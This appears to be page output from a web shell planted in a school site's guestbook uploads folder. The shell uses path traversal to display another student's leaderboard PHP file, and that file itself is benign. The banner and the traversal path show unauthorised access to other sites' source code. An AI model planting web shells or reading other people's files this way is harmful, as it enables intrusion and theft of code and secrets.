🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../../../585448.klas4s23.mid-ica.nl/public_html/leaderboard/player_position.php

<?php

// player_position.php

include 'config.php';

// Read JSON input
$json = file_get_contents('php://input');
$request_data = json_decode($json, true); // true for associative array

$username = $request_data['username'] ?? null;
$api_key = $request_data['api_key'] ?? null;
$token = $request_data['token'] ?? null;

// Validate input
$username = htmlspecialchars(strip_tags($username));
$api_key = htmlspecialchars(strip_tags($api_key));
$token = htmlspecialchars(strip_tags($token));

if ($api_key !== API_KEY) {
    echo json_encode(['status' => 'error', 'message' => 'Invalid API key', 'request_type' => 'player_position']);
    exit;
}

if (!validate_token($db, $username, $token)) {
    echo json_encode(['status' => 'error', 'message' => 'Invalid token', 'request_type' => 'player_position']);
    exit;
}

//get user id
$stmt = $db->prepare('SELECT id FROM users WHERE username = :username');
$stmt->bindValue(':username', $username);
$result = $stmt->execute();
$result = $stmt->fetch();
if (!$result) {
    echo json_encode(['status' => 'error', 'message' => 'Username not found ', 'request_type' => 'player_position']);
    exit;
}
$user_id = $result['id'];

// Retrieve position for the user from the database
$stmt = $db->prepare("
        SELECT 
            u.id AS user_id,
            u.username AS username,
            u.Highscore AS highscore,
            (SELECT COUNT(*) + 1 FROM users WHERE Highscore > u.Highscore) AS ranking
        FROM 
            users u
        WHERE 
            u.id = :user_id
    ");

// Bind parameter
$stmt->bindParam(':user_id', $user_id, PDO::PARAM_INT);

// Execute query
$stmt->execute();

// Fetch the result
$result = $stmt->fetch(PDO::FETCH_ASSOC);

if ($result) {
    echo json_encode([
        'status' => 'success',
        'position' => $result['ranking'],
        'request_type' => 'player_position'
    ]);
} else {
    echo json_encode([
        'status' => 'error',
        'message' => 'Failed to retrieve position',
        'request_type' => 'player_position'
    ]);
}

🎯 Available Actions